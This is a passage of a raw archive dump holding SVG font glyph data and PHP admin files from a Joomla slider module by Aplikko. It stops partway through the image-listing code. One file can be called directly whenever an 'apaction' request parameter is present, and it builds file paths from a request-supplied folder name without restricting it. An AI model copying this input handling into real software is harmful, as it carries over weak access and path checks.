<glyph unicode="&#xee;" horiz-adv-x="589" d="M-47 1217l223 260q27 4 60.5 6t64.5 2q23 0 54.5 -2t60.5 -8l221 -258q-18 -4 -42 -6.5t-50 -2.5q-27 0 -58.5 2t-58.5 7l-133 163l-133 -163q-23 -4 -52.5 -6.5t-56.5 -2.5q-59 0 -100 9zM84 971q0 20 2 41.5t6 38.5h332v-1051q-23 -4 -50.5 -6t-49.5 -2q-20 0 -48 2 t-51 6v891h-133q-4 16 -6 37.5t-2 42.5z" />
<glyph unicode="&#xef;" horiz-adv-x="589" d="M-25 1339q0 25 2.5 50.5t6.5 52.5q25 4 52.5 6t51.5 2q23 0 50.5 -2t54.5 -6q8 -47 8 -103q0 -25 -2 -50t-6 -52q-53 -6 -105 -6q-23 0 -51 1t-53 5q-4 27 -6.5 51.5t-2.5 50.5zM84 971q0 20 2 41.5t6 38.5h332v-1051q-23 -4 -50.5 -6t-49.5 -2q-20 0 -48 2t-51 6v891 h-133q-4 16 -6 37.5t-2 42.5zM393 1339q0 25 2 50.5t6 52.5q25 4 52.5 6t50.5 2q25 0 52.5 -2t53.5 -6q6 -53 6 -103q0 -51 -6 -102q-53 -6 -104 -6q-23 0 -51.5 1t-53.5 5q-8 47 -8 102z" />
<glyph unicode="&#xf0;" horiz-adv-x="1189" d="M104 485q0 109 30 202t87.5 163t143.5 108.5t198 38.5q78 0 151.5 -25.5t121.5 -72.5q-41 109 -85 182.5t-110 126.5l-201 -125q-25 23 -43 52.5t-28 58.5l143 90q-47 23 -98.5 34t-108.5 19q-10 29 -10 72q0 23 5 49.5t13 48.5q109 -6 202 -34.5t171 -75.5l180 114 q25 -20 44.5 -50.5t33.5 -59.5q-35 -23 -70.5 -44.5t-72.5 -43.5q139 -129 210.5 -322.5t71.5 -423.5q0 -135 -29.5 -244.5t-90 -186.5t-152.5 -119t-217 -42t-217 38t-152.5 106.5t-90.5 162t-30 203.5zM317 485q0 -166 67 -259t210 -93t208.5 93t65.5 259 q0 174 -65.5 261.5t-208.5 87.5q-135 0 -206 -87.5t-71 -261.5z" />
<glyph unicode="&#xf1;" horiz-adv-x="1183" d="M164 0v1051q23 4 44 6t44 2t42 -2t42 -6q6 -31 12 -83.5t6 -86.5q20 35 52 69.5t73 62t94.5 45t116.5 17.5q180 0 266 -103.5t86 -305.5v-666q-23 -4 -51 -6t-51 -2t-50.5 2t-49.5 6v610q0 145 -45 214t-144 69q-57 0 -108 -20.5t-90 -63.5t-62.5 -111.5t-23.5 -165.5 v-532q-23 -4 -50.5 -6t-50.5 -2t-51.5 2t-50.5 6zM242 1368q31 41 80 70.5t116 29.5q43 0 82 -14t75 -30.5t73 -31t78 -14.5q35 0 64.5 12.5t72.5 51.5q45 -55 65 -125q-33 -39 -83 -67.5t-115 -28.5q-43 0 -82 14t-76 30.5t-73 31t-75 14.5q-41 0 -69.5 -14.5t-69.5 -49.5 q-23 29 -39 58.5t-24 62.5z" />
<glyph unicode="&#xf2;" horiz-adv-x="1181" d="M100 524q0 117 30 217.5t91.5 174t153.5 116.5t215 43t215 -43t153.5 -116.5t91 -174t29.5 -217.5t-29.5 -217t-91 -174t-153.5 -116t-215 -42t-215 42t-153.5 116t-91.5 174.5t-30 216.5zM260 1477q31 4 61.5 6t67.5 2q33 0 67 -2t64 -6l236 -260q-47 -8 -96 -9 q-31 0 -58.5 2t-50.5 7zM315 524q0 -182 67 -284.5t208 -102.5t208.5 102.5t67.5 284.5t-67.5 283.5t-208.5 101.5t-208 -101t-67 -284z" />
<glyph unicode="&#xf3;" horiz-adv-x="1181" d="M100 524q0 117 30 217.5t91.5 174t153.5 116.5t215 43t215 -43t153.5 -116.5t91 -174t29.5 -217.5t-29.5 -217t-91 -174t-153.5 -116t-215 -42t-215 42t-153.5 116t-91.5 174.5t-30 216.5zM315 524q0 -182 67 -284.5t208 -102.5t208.5 102.5t67.5 284.5t-67.5 283.5 t-208.5 101.5t-208 -101t-67 -284zM399 1217l236 260q31 4 63.5 6t67.5 2q37 0 67.5 -2t59.5 -6l-291 -260q-23 -4 -49.5 -6.5t-59.5 -2.5q-23 0 -46 2t-48 7z" />
<glyph unicode="&#xf4;" horiz-adv-x="1181" d="M100 524q0 117 30 217.5t91.5 174t153.5 116.5t215 43t215 -43t153.5 -116.5t91 -174t29.5 -217.5t-29.5 -217t-91 -174t-153.5 -116t-215 -42t-215 42t-153.5 116t-91.5 174.5t-30 216.5zM246 1217l223 260q27 4 60.5 6t64.5 2q23 0 54.5 -2t60.5 -8l221 -258 q-18 -4 -42 -6.5t-50 -2.5q-27 0 -58.5 2t-58.5 7l-133 163l-133 -163q-23 -4 -52.5 -6.5t-56.5 -2.5q-59 0 -100 9zM315 524q0 -182 67 -284.5t208 -102.5t208.5 102.5t67.5 284.5t-67.5 283.5t-208.5 101.5t-208 -101t-67 -284z" />
<glyph unicode="&#xf5;" horiz-adv-x="1181" d="M100 524q0 117 30 217.5t91.5 174t153.5 116.5t215 43t215 -43t153.5 -116.5t91 -174t29.5 -217.5t-29.5 -217t-91 -174t-153.5 -116t-215 -42t-215 42t-153.5 116t-91.5 174.5t-30 216.5zM236 1368q31 41 80 70.5t116 29.5q43 0 82 -14t75 -30.5t73 -31t78 -14.5 q35 0 64.5 12.5t72.5 51.5q45 -55 65 -125q-33 -39 -83 -67.5t-115 -28.5q-43 0 -82 14t-76 30.5t-73 31t-75 14.5q-41 0 -69.5 -14.5t-69.5 -49.5q-23 29 -39 58.5t-24 62.5zM315 524q0 -182 67 -284.5t208 -102.5t208.5 102.5t67.5 284.5t-67.5 283.5t-208.5 101.5 t-208 -101t-67 -284z" />
<glyph unicode="&#xf6;" horiz-adv-x="1181" d="M100 524q0 117 30 217.5t91.5 174t153.5 116.5t215 43t215 -43t153.5 -116.5t91 -174t29.5 -217.5t-29.5 -217t-91 -174t-153.5 -116t-215 -42t-215 42t-153.5 116t-91.5 174.5t-30 216.5zM266 1339q0 25 2.5 50.5t6.5 52.5q25 4 52.5 6t51.5 2q23 0 50.5 -2t54.5 -6 q8 -47 8 -103q0 -25 -2 -50t-6 -52q-53 -6 -105 -6q-23 0 -51 1t-53 5q-4 27 -6.5 51.5t-2.5 50.5zM315 524q0 -182 67 -284.5t208 -102.5t208.5 102.5t67.5 284.5t-67.5 283.5t-208.5 101.5t-208 -101t-67 -284zM684 1339q0 25 2 50.5t6 52.5q25 4 52.5 6t50.5 2 q25 0 52.5 -2t53.5 -6q6 -53 6 -103q0 -51 -6 -102q-53 -6 -104 -6q-23 0 -51.5 1t-53.5 5q-8 47 -8 102z" />
<glyph unicode="&#xf7;" d="M174 721q0 23 1 48.5t5 45.5h869q4 -20 6 -46t2 -48q0 -23 -2 -48.5t-6 -43.5h-869q-4 18 -5 43.5t-1 48.5zM467 356q0 57 41 99.5t100 42.5q57 0 99.5 -42t42.5 -100q0 -59 -42 -100t-100 -41q-59 0 -100 41t-41 100zM467 1096q0 59 41 100t100 41q57 0 99.5 -41 t42.5 -100t-42 -99.5t-100 -40.5q-59 0 -100 40.5t-41 99.5z" />
<glyph unicode="&#xf8;" horiz-adv-x="1181" d="M104 524q0 117 30 217.5t90.5 174t151.5 116.5t214 43q92 0 166.5 -25.5t132.5 -70.5l51 63q31 8 76 9q45 0 76 -7l-121 -151q53 -74 78.5 -167t25.5 -202q0 -117 -29.5 -217t-90 -174t-151.5 -116t-214 -42q-166 0 -279 78l-39 -51q-33 -8 -73 -8q-47 0 -78 6l104 133 q-61 74 -91 174.5t-30 216.5zM313 524q0 -141 39 -231l424 543q-70 74 -186 73q-141 0 -209 -101.5t-68 -283.5zM422 193q64 -56 168 -56q141 0 209.5 102.5t68.5 284.5q0 59 -7 108.5t-21 92.5z" />
<glyph unicode="&#xf9;" horiz-adv-x="1175" d="M152 467v584q23 4 51 6t49 2q23 0 51.5 -2t50.5 -6v-576q0 -98 18.5 -162.5t55.5 -101.5t90 -51.5t123 -14.5q104 0 178 23v883q23 4 50.5 6t50.5 2t50 -2t50 -6v-1018q-72 -20 -171 -39t-206 -19q-100 0 -189 17.5t-157 71t-106.5 149.5t-38.5 254zM264 1477 q31 4 61.5 6t67.5 2q33 0 67 -2t64 -6l236 -260q-47 -8 -96 -9q-31 0 -58.5 2t-50.5 7z" />
<glyph unicode="&#xfa;" horiz-adv-x="1175" d="M152 467v584q23 4 51 6t49 2q23 0 51.5 -2t50.5 -6v-576q0 -98 18.5 -162.5t55.5 -101.5t90 -51.5t123 -14.5q104 0 178 23v883q23 4 50.5 6t50.5 2t50 -2t50 -6v-1018q-72 -20 -171 -39t-206 -19q-100 0 -189 17.5t-157 71t-106.5 149.5t-38.5 254zM438 1217l236 260 q31 4 63.5 6t67.5 2q37 0 67.5 -2t59.5 -6l-291 -260q-23 -4 -49.5 -6.5t-59.5 -2.5q-23 0 -46 2t-48 7z" />
<glyph unicode="&#xfb;" horiz-adv-x="1175" d="M152 467v584q23 4 51 6t49 2q23 0 51.5 -2t50.5 -6v-576q0 -98 18.5 -162.5t55.5 -101.5t90 -51.5t123 -14.5q104 0 178 23v883q23 4 50.5 6t50.5 2t50 -2t50 -6v-1018q-72 -20 -171 -39t-206 -19q-100 0 -189 17.5t-157 71t-106.5 149.5t-38.5 254zM244 1217l223 260 q27 4 60.5 6t64.5 2q23 0 54.5 -2t60.5 -8l221 -258q-18 -4 -42 -6.5t-50 -2.5q-27 0 -58.5 2t-58.5 7l-133 163l-133 -163q-23 -4 -52.5 -6.5t-56.5 -2.5q-59 0 -100 9z" />
<glyph unicode="&#xfc;" horiz-adv-x="1175" d="M152 467v584q23 4 51 6t49 2q23 0 51.5 -2t50.5 -6v-576q0 -98 18.5 -162.5t55.5 -101.5t90 -51.5t123 -14.5q104 0 178 23v883q23 4 50.5 6t50.5 2t50 -2t50 -6v-1018q-72 -20 -171 -39t-206 -19q-100 0 -189 17.5t-157 71t-106.5 149.5t-38.5 254zM276 1339 q0 25 2.5 50.5t6.5 52.5q25 4 52.5 6t51.5 2q23 0 50.5 -2t54.5 -6q8 -47 8 -103q0 -25 -2 -50t-6 -52q-53 -6 -105 -6q-23 0 -51 1t-53 5q-4 27 -6.5 51.5t-2.5 50.5zM694 1339q0 25 2 50.5t6 52.5q25 4 52.5 6t50.5 2q25 0 52.5 -2t53.5 -6q6 -53 6 -103q0 -51 -6 -102 q-53 -6 -104 -6q-23 0 -51.5 1t-53.5 5q-8 47 -8 102z" />
<glyph unicode="&#xfd;" horiz-adv-x="1079" d="M27 1051q27 4 55.5 5t52.5 1q27 0 59.5 -1t55.5 -5l291 -977l301 977q43 6 100 6q23 0 51.5 -1t57.5 -5l-408 -1264q-29 -84 -59.5 -141.5t-69.5 -92t-87 -49t-112 -14.5q-47 0 -93 7t-81 18q0 47 8.5 83.5t24.5 73.5q18 -6 50 -13t69 -7q27 0 50.5 5t44 20.5t37.5 44 t34 77.5l63 199q-16 0 -33.5 -1t-33.5 -1q-20 0 -43 1t-37 3zM360 1217l236 260q31 4 63.5 6t67.5 2q37 0 67.5 -2t59.5 -6l-291 -260q-23 -4 -49.5 -6.5t-59.5 -2.5q-23 0 -46 2t-48 7z" />
<glyph unicode="&#xfe;" horiz-adv-x="1208" d="M160 -483v1984q25 4 52.5 5t49.5 1q23 0 50.5 -1t49.5 -5v-583q41 61 118 109t194 48q92 0 171 -31.5t135 -96t88 -163t32 -233.5q0 -270 -146.5 -423t-416.5 -153q-43 0 -90.5 7.5t-84.5 17.5v-483q-23 -4 -51 -5t-49 -1q-23 0 -50.5 1t-51.5 5zM362 172 q39 -14 81 -21.5t106 -7.5q74 0 135 23.5t105.5 73t70 125t25.5 178.5q0 162 -59.5 258t-196.5 96q-51 0 -99.5 -17.5t-85 -54.5t-59.5 -93t-23 -134v-426z" />
<glyph unicode="&#xff;" horiz-adv-x="1079" d="M27 1051q27 4 55.5 5t52.5 1q27 0 59.5 -1t55.5 -5l291 -977l301 977q43 6 100 6q23 0 51.5 -1t57.5 -5l-408 -1264q-29 -84 -59.5 -141.5t-69.5 -92t-87 -49t-112 -14.5q-47 0 -93 7t-81 18q0 47 8.5 83.5t24.5 73.5q18 -6 50 -13t69 -7q27 0 50.5 5t44 20.5t37.5 44 t34 77.5l63 199q-16 0 -33.5 -1t-33.5 -1q-20 0 -43 1t-37 3zM219 1339q0 25 2.5 50.5t6.5 52.5q25 4 52.5 6t51.5 2q23 0 50.5 -2t54.5 -6q8 -47 8 -103q0 -25 -2 -50t-6 -52q-53 -6 -105 -6q-23 0 -51 1t-53 5q-4 27 -6.5 51.5t-2.5 50.5zM637 1339q0 25 2 50.5t6 52.5 q25 4 52.5 6t50.5 2q25 0 52.5 -2t53.5 -6q6 -53 6 -103q0 -51 -6 -102q-53 -6 -104 -6q-23 0 -51.5 1t-53.5 5q-8 47 -8 102z" />
<glyph unicode="&#x152;" horiz-adv-x="1892" d="M113 735q0 166 41 305.5t120.5 240.5t199.5 158.5t280 57.5q59 0 124.5 -5t118.5 -19h785q4 -20 6 -44t2 -47t-2 -47t-6 -45h-600v-422h479q4 -20 6 -43.5t2 -46.5t-2 -47t-6 -45h-479v-504h616q4 -20 6 -43.5t2 -46.5t-2 -47.5t-6 -44.5h-790q-55 -12 -128 -18.5 t-132 -6.5q-160 0 -279 56.5t-197.5 158t-118.5 240.5t-40 305zM336 735q0 -135 25.5 -241.5t78 -182t129 -115.5t179.5 -40q68 0 123 6t102 22v1104q-47 12 -99.5 18.5t-117.5 6.5q-102 0 -180 -40t-131.5 -115t-81 -182.5t-27.5 -240.5z" />
<glyph unicode="&#x153;" horiz-adv-x="1882" d="M106 524q0 117 31 217.5t92.5 174t152.5 116.5t212 43q131 0 225 -56t154 -155q53 98 147 154.5t226 56.5q104 0 185 -38t136 -104.5t84 -154.5t29 -188q0 -29 -2 -60.5t-6 -54.5h-699q4 -172 87 -252t249 -80q74 0 138.5 13.5t129.5 38.5q14 -31 25.5 -75t13.5 -87 q-70 -29 -148.5 -43.5t-176.5 -14.5q-154 0 -259.5 57.5t-162.5 162.5q-59 -104 -150.5 -162t-224.5 -58q-121 0 -212 42t-152.5 116t-92.5 174.5t-31 216.5zM313 524q0 -182 70 -284.5t211 -102.5t212 102.5t71 284.5t-71 283.5t-212 101.5t-211 -101t-70 -284zM1075 627 h508q-2 125 -59.5 204.5t-180.5 79.5q-119 0 -186 -74.5t-82 -209.5z" />
<glyph unicode="&#x178;" horiz-adv-x="1212" d="M37 1473q27 4 57.5 6t61.5 2q27 0 58.5 -2t55.5 -6l344 -732l340 732q27 4 53.5 6t55.5 2t57.5 -2t55.5 -6l-461 -934v-539q-27 -4 -53.5 -6t-53.5 -2t-54.5 2t-49.5 6v539zM274 1718q0 51 6 105q29 4 55.5 6t51.5 2q27 0 55.5 -2t52.5 -6q8 -47 9 -103q0 -57 -9 -104 q-25 -4 -52.5 -6t-53.5 -2q-25 0 -52.5 2t-56.5 6q-6 51 -6 102zM710 1718q0 47 11 105q25 4 52.5 6t53.5 2q25 0 52.5 -2t56.5 -6q6 -53 6 -103q0 -53 -6 -104q-29 -4 -55.5 -6t-53.5 -2q-25 0 -53 2t-53 6q-4 27 -7.5 51.5t-3.5 50.5z" />
<glyph unicode="&#x2c6;" horiz-adv-x="1019" d="M168 1217l223 260q27 4 60.5 6t64.5 2q23 0 54.5 -2t60.5 -8l221 -258q-18 -4 -42 -6.5t-50 -2.5q-27 0 -58.5 2t-58.5 7l-133 163l-133 -163q-23 -4 -52.5 -6.5t-56.5 -2.5q-59 0 -100 9z" />
<glyph unicode="&#x2dc;" horiz-adv-x="1024" d="M160 1368q31 41 80 70.5t116 29.5q43 0 82 -14t75 -30.5t73 -31t78 -14.5q35 0 64.5 12.5t72.5 51.5q45 -55 65 -125q-33 -39 -83 -67.5t-115 -28.5q-43 0 -82 14t-76 30.5t-73 31t-75 14.5q-41 0 -69.5 -14.5t-69.5 -49.5q-23 29 -39 58.5t-24 62.5z" />
<glyph unicode="&#x2000;" horiz-adv-x="958" />
<glyph unicode="&#x2001;" horiz-adv-x="1917" />
<glyph unicode="&#x2002;" horiz-adv-x="958" />
<glyph unicode="&#x2003;" horiz-adv-x="1917" />
<glyph unicode="&#x2004;" horiz-adv-x="639" />
<glyph unicode="&#x2005;" horiz-adv-x="479" />
<glyph unicode="&#x2006;" horiz-adv-x="319" />
<glyph unicode="&#x2007;" horiz-adv-x="319" />
<glyph unicode="&#x2008;" horiz-adv-x="239" />
<glyph unicode="&#x2009;" horiz-adv-x="383" />
<glyph unicode="&#x200a;" horiz-adv-x="106" />
<glyph unicode="&#x2010;" horiz-adv-x="739" d="M96 573q0 23 2 48.5t6 46.5h531q4 -20 6 -46t2 -49t-2 -48t-6 -44h-531q-4 18 -6 44t-2 48z" />
<glyph unicode="&#x2011;" horiz-adv-x="739" d="M96 573q0 23 2 48.5t6 46.5h531q4 -20 6 -46t2 -49t-2 -48t-6 -44h-531q-4 18 -6 44t-2 48z" />
<glyph unicode="&#x2012;" horiz-adv-x="739" d="M96 573q0 23 2 48.5t6 46.5h531q4 -20 6 -46t2 -49t-2 -48t-6 -44h-531q-4 18 -6 44t-2 48z" />
<glyph unicode="&#x2013;" horiz-adv-x="1024" d="M-8 573q0 25 2 48.5t6 46.5h1024q4 -23 6 -45.5t2 -47.5q0 -27 -2 -50t-6 -44h-1024q-4 23 -6 46.5t-2 45.5z" />
<glyph unicode="&#x2014;" horiz-adv-x="2048" d="M-8 573q0 25 2 48.5t6 46.5h2048q4 -23 6 -45.5t2 -47.5q0 -27 -2 -50t-6 -44h-2048q-4 23 -6 46.5t-2 45.5z" />
<glyph unicode="&#x2018;" horiz-adv-x="528" d="M102 1470q25 4 52.5 6.5t50.5 2.5t48.5 -2t49.5 -7l121 -456q-23 -4 -47.5 -6t-48.5 -2q-51 0 -99 8z" />
<glyph unicode="&#x2019;" horiz-adv-x="528" d="M102 1016l121 457q25 4 50.5 6t48.5 2q25 0 52 -2t52 -6l-127 -457q-27 -6 -52.5 -7t-47.5 -1q-25 0 -48.5 1t-48.5 7z" />
<glyph unicode="&#x201a;" horiz-adv-x="528" d="M102 -231l121 456q25 4 50.5 7.5t48.5 3.5q25 0 52 -3.5t52 -7.5l-127 -456q-27 -4 -52.5 -5.5t-47.5 -1.5q-25 0 -48.5 1t-48.5 6z" />
<glyph unicode="&#x201c;" horiz-adv-x="927" d="M102 1470q25 4 52.5 6.5t50.5 2.5t48.5 -2t49.5 -7l121 -456q-23 -4 -47.5 -6t-48.5 -2q-51 0 -99 8zM501 1470q25 4 52.5 6.5t50.5 2.5t48.5 -2t49.5 -7l121 -456q-23 -4 -47.5 -6t-48.5 -2q-51 0 -99 8z" />
<glyph unicode="&#x201d;" horiz-adv-x="927" d="M102 1016l121 457q25 4 50.5 6t48.5 2q25 0 52 -2t52 -6l-127 -457q-27 -6 -52.5 -7t-47.5 -1q-25 0 -48.5 1t-48.5 7zM501 1016l121 457q25 4 50.5 6t48.5 2q25 0 52 -2t52 -6l-127 -457q-27 -6 -52.5 -7t-47.5 -1q-25 0 -48.5 1t-48.5 7z" />
<glyph unicode="&#x201e;" horiz-adv-x="927" d="M102 -231l121 456q25 4 50.5 7.5t48.5 3.5q25 0 52 -3.5t52 -7.5l-127 -456q-27 -4 -52.5 -5.5t-47.5 -1.5q-25 0 -48.5 1t-48.5 6zM501 -231l121 456q25 4 50.5 7.5t48.5 3.5q25 0 52 -3.5t52 -7.5l-127 -456q-27 -4 -52.5 -5.5t-47.5 -1.5q-25 0 -48.5 1t-48.5 6z" />
<glyph unicode="&#x2022;" horiz-adv-x="833" d="M154 766q0 55 20.5 103.5t56 84t83.5 56t104 20.5q55 0 102 -20.5t83 -56t56.5 -84t20.5 -103.5t-20.5 -103.5t-56.5 -84t-83 -56t-102 -20.5t-103.5 20.5t-84 56t-56 84t-20.5 103.5z" />
<glyph unicode="&#x2026;" horiz-adv-x="1501" d="M123 113q0 29 3 58.5t7 57.5q29 4 56.5 6.5t56.5 2.5t57.5 -2.5t56.5 -6.5q4 -29 7.5 -57.5t3.5 -56.5q0 -29 -3 -57.5t-8 -57.5q-29 -4 -56.5 -6t-55.5 -2q-29 0 -57.5 2t-57.5 6q-4 29 -7 56.5t-3 56.5zM627 113q0 29 3 58.5t7 57.5q29 4 56.5 6.5t56.5 2.5t57.5 -2.5 t56.5 -6.5q4 -29 7.5 -57.5t3.5 -56.5q0 -29 -3 -57.5t-8 -57.5q-29 -4 -56.5 -6t-55.5 -2q-29 0 -57.5 2t-57.5 6q-4 29 -7 56.5t-3 56.5zM1131 113q0 29 3 58.5t7 57.5q29 4 56.5 6.5t56.5 2.5t57.5 -2.5t56.5 -6.5q4 -29 7.5 -57.5t3.5 -56.5q0 -29 -3 -57.5t-8 -57.5 q-29 -4 -56.5 -6t-55.5 -2q-29 0 -57.5 2t-57.5 6q-4 29 -7 56.5t-3 56.5z" />
<glyph unicode="&#x202f;" horiz-adv-x="383" />
<glyph unicode="&#x2039;" horiz-adv-x="747" d="M100 547l340 452q25 4 50.5 6.5t52.5 2.5q29 0 57.5 -2t56.5 -7l-333 -450l333 -457q-29 -4 -56.5 -6t-55.5 -2q-57 0 -105 8z" />
<glyph unicode="&#x203a;" horiz-adv-x="747" d="M88 92l336 451l-336 456q29 4 56.5 6.5t56.5 2.5q27 0 53.5 -2t50.5 -7l342 -454l-342 -453q-25 -4 -49.5 -7t-52.5 -3q-29 0 -57.5 3t-57.5 7z" />
<glyph unicode="&#x205f;" horiz-adv-x="479" />
<glyph unicode="&#x20ac;" d="M39 553q0 37 10 72h150q-2 20 -2 41.5v44.5v52t2 52h-150q-10 31 -10 68q0 39 10 73h170q47 242 197.5 379.5t408.5 137.5q117 0 201 -16.5t150 -39.5q-4 -47 -17.5 -87t-32.5 -85q-68 25 -138 35t-146 10q-168 0 -264.5 -85t-133.5 -249h523q4 -14 6 -31.5t2 -33.5 q0 -20 -2 -40t-6 -36h-541q-2 -25 -3 -50.5t-1 -53.5v-44.5t2 -41.5h543q4 -14 6 -30.5t2 -35.5q0 -20 -2 -39.5t-6 -36.5h-525q39 -168 140.5 -245.5t273.5 -77.5q86 0 155.5 14t131.5 41q41 -80 57 -170q-86 -37 -177 -53.5t-194 -16.5q-266 0 -417.5 132.5t-196.5 375.5 h-166q-10 31 -10 70z" />
<glyph unicode="&#x2122;" horiz-adv-x="1691" d="M47 1370q0 35 6 78h619q4 -20 6 -37.5t2 -38.5q0 -18 -2 -36.5t-6 -37.5h-230v-669q-23 -4 -41 -6t-41 -2q-18 0 -37.5 2t-37.5 6v669h-232q-6 37 -6 72zM764 629l41 819q25 2 45 4t41 2q18 0 39.5 -2t46.5 -4l203 -449l200 449q23 2 42.5 4t39.5 2t42 -2l44 -4l41 -819 q-25 -4 -42 -6t-38 -2q-16 0 -35.5 1t-41.5 7l-31 522l-176 -367q-16 -4 -28.5 -5t-29.5 -1q-20 0 -59 6l-162 361l-26 -516q-39 -8 -76 -8q-39 0 -80 8z" />
<glyph unicode="&#x25fc;" horiz-adv-x="1054" d="M0 0v1055h1055v-1055h-1055z" />
<hkern u1="T" u2="&#xef;" k="-61" />
<hkern u1="T" u2="&#xec;" k="-82" />
<hkern u1="V" u2="&#xef;" k="-61" />
<hkern u1="V" u2="&#xec;" k="-143" />
<hkern u1="W" u2="&#xef;" k="-61" />
<hkern u1="W" u2="&#xec;" k="-82" />
<hkern u1="Y" u2="&#xef;" k="-61" />
<hkern u1="Y" u2="&#xec;" k="-61" />
<hkern u1="f" u2="&#xef;" k="-113" />
<hkern u1="f" u2="&#xee;" k="-61" />
<hkern u1="f" u2="&#xec;" k="-131" />
</font>
</defs></svg> PK!�s]�  )mod_ap_smart_layerslider/admin/aptext.phpnu&1i�<?php
/**
 * @package 	aptext.php
 * @author		Aplikko
 * @email		contact@aplikko.com
 * @website		http://aplikko.com
 * @copyright	Copyright (C) 2015 Aplikko.com. All rights reserved.
 * @license		http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
**/

// no direct access
defined('_JEXEC') or die;

jimport('joomla.html.html');
jimport('joomla.form.formfield');

class JFormFieldAptext extends JFormField {
	protected $type = 'Aptext';

        protected function getInput() {

            $output = NULL;
            // Initialize some field attributes.
            $size		= $this->element['size'] ? ' size="'.(int) $this->element['size'].'"' : '';
            $maxLength	= $this->element['maxlength'] ? ' maxlength="'.(int) $this->element['maxlength'].'"' : '';
            $class      = $this->element['class'];
            $readonly	= ((string) $this->element['readonly'] == 'true') ? ' readonly="readonly"' : '';
            $disabled	= ((string) $this->element['disabled'] == 'true') ? ' disabled="disabled"' : '';
            
            $prepend    = ($this->element['prepend'] != NULL) ? '<span class="add-on">'. JText::_($this->element['prepend']). '</span>' : '';

            $append   = ($this->element['append'] != NULL) ? '<span class="add-on" data-trigger="hover" data-toggle="popover" data-placement="right" data-content="'.JText::_($this->element['data-content']).'" title="'.JText::_($this->element['title']).'">'.JText::_($this->element['append']).'</span>' : '';

            if($prepend) $extra_class = 'input-prepend';
            elseif($append) $extra_class = ' input-append';
            else $extra_class = '';

            $wrapstart  = '<div class="field-wrap clearfix '.$class. $extra_class .'">';
            $wrapend    = '</div>';

            $input = '<input type="text" name="'.$this->name.'" id="'.$this->id.'"'
			. ' value="'.htmlspecialchars($this->value, ENT_COMPAT, 'UTF-8').'"'
			.$size.$disabled.$readonly.$maxLength.'/>';

            $output = $wrapstart . $prepend . $input . $append . $wrapend;
            return $output;
	
	}

}
PK!*�;�;Q;Q0mod_ap_smart_layerslider/admin/apimagefolder.phpnu&1i�<?php
/**
 * @package 	apimagefolder.php
 * @author		Aplikko
 * @email		contact@aplikko.com
 * @website		http://aplikko.com
 * @copyright	Copyright (C) 2019 Aplikko.com. All rights reserved.
 * @license		http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
**/

if (isset($_REQUEST['apaction'])){
	if (!defined('_JEXEC')) {
    define('_JEXEC', 1);}
	
	$path = dirname(dirname(dirname(dirname(__FILE__))));
    if (!defined('JPATH_BASE'))
    	define('JPATH_BASE', $path);
   
    require_once JPATH_BASE . '/includes/defines.php';
    require_once JPATH_BASE . '/includes/framework.php';
    
    // Mark afterLoad in the profiler.
	JDEBUG ? $_PROFILER->mark('afterLoad') : null;
	
	// Instantiate the application.
	$app = JFactory::getApplication('site');

	// Initialise the application.
	$app->initialise();

	$task = isset($_REQUEST['task']) ? $_REQUEST['task'] : false;
	
	jimport('joomla.filesystem.folder');
	jimport('joomla.filesystem.file');
	jimport('joomla.application.module.helper');
	
	class ApImageFolderAction{
		var $moduleName = '';
		
		function __construct(){
			$this->moduleName = basename(dirname(__DIR__));
		}
		
		private function basePath(){
			if (strpos(php_sapi_name(), 'cgi') !== false && !ini_get('cgi.fix_pathinfo') && !empty($_SERVER['REQUEST_URI'])) {
				// PHP-CGI on Apache with "cgi.fix_pathinfo = 0"
				// We shouldn't have user-supplied PATH_INFO in PHP_SELF in this case
				// because PHP will not work with PATH_INFO at all.
				$script_name = $_SERVER['PHP_SELF'];
			} else {
				// Others
				$script_name = $_SERVER['SCRIPT_NAME'];
			}

			return rtrim(dirname(dirname(dirname(dirname($script_name)))), '/\\');
		}
		
		private function getModule($mid){
			$db = JFactory::getDbo();
			$query = $db->getQuery(true);
			$query->select('m.id, m.title, m.module, m.position, m.content, m.showtitle, m.params');
			$query->from('#__modules AS m');
			$query->where('m.id = '.$mid);
			$db->setQuery($query);
			$module = $db->loadObject ();
			return $module;
		}
		
		function getListImage(){
			$input = JFactory::getApplication()->input;
			$folder = $input->getString('folder');
			$mid = $input->getInt('mid');
			$fieldname = $input->getString('fieldname');
			$imageList = array();
			$success = false;
			$path = JPath::clean(JPATH_ROOT . '/' . $folder);
			
			$module = $this->getModule($mid);
			$params = new JRegistry();
			$paramString = isset($module->params) ? $module->params : '';
			$params->loadString($paramString);
			$imagesCurr = json_decode($params->get($fieldname.'.images'),true);
			$folderCurr = $params->get($fieldname.'.folder');
			if (JFolder::exists($path)) {
				$files = JFolder::files($path);
				$i = 0;
				foreach ($files as $file) {
					if (is_file($path.'/'.$file) && substr($file, 0, 1) != '.' && strtolower($file) !== 'index.html'){
						$ext = JFile::getExt($file);
						switch ($ext) {
							// Image
							case 'jpg':
							case 'png':
							case 'gif':
							case 'xcf':
							case 'odg':
							case 'bmp':
							case 'jpeg':
							case 'JPG':
							case 'PNG':
							case 'GIF':
							case 'ico':
								$image = $this->basePath().'/'.$folder . '/' . $file;
								$tmp = array();
								$nameArr = explode('.',$file);
								$name = $nameArr[0];
								$tmp['image'] = $file;
								$tmp['title'] = '';
								$tmp['caption'] = '';
								$tmp['description'] = '';
								$tmp['imagesrc'] = $image;
								$imageList[$name] = $tmp;
								break;
						}
					}
				$i++;
				}
			}
			$html = '';
			if (count($imageList)){
				$success = true;
				$imgArr = array();
				$flag = false;
				if (($folderCurr == $folder) && is_array($imagesCurr)){
					$flag = true;
					foreach ($imagesCurr as $k=>$v){
						$v['key'] = $k;
						if (isset($v['position'])){
							$imgArr[$v['position']] = $v;
						}
					}
				
				}
				ksort($imgArr);
				$i=0;

				foreach ($imgArr as $k=>$img){
					if (JFile::exists(JPATH_ROOT.'/'.$folder.'/'.$img['image'])){
						
						$nameArr = explode('.',$img['image']);
						// Important fix: FIXED URL for thumbnail (src="'. $this->basePath() .'/'. $folder .'/'. $img['image'] .'")
						$html .= '<div class="ap-img brick small">
							<div class="brick-image">
